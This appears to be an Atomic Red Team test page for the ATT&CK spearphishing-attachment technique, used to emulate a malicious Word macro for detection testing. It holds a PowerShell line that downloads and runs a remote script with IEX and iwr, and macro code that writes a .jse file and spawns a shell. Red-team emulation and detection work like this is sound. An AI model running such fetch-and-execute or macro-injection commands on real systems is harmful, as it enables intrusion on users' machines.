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T1566.001 - Spearphishing Attachment

T1566.001 - Spearphishing Attachment#

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

Atomic Tests#

Atomic Test #2 - Word spawned a command shell and used an IP address in the command line#

Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity. Upon execution, CMD will be launched and ping 8.8.8.8.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Microsoft #{ms_product} must be installed#
Check Prereq Commands:#
try {
  New-Object -COMObject "Word.Application" | Out-Null
  $process = "Word"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
Get Prereq Commands:#
Write-Host "You will need to install Microsoft Word manually to meet this requirement"

Invoke-AtomicTest T1566.001 -TestNumbers 2 -GetPreReqs

Attack Commands: Run with powershell#

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
$macrocode = "   Open `"C:\Users\Public\art.jse`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc -macroCode $macrocode -officeProduct "Word"

Invoke-AtomicTest T1566.001 -TestNumbers 2

Cleanup:#

Remove-Item C:\Users\Public\art.jse -ErrorAction Ignore

Invoke-AtomicTest T1566.001 -TestNumbers 2 -Cleanup

Detection#

Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

Anti-virus can potentially detect malicious documents and attachments as they’re scanned to be stored on the email server or on the user’s computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution or usage of malicious scripts.

Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)

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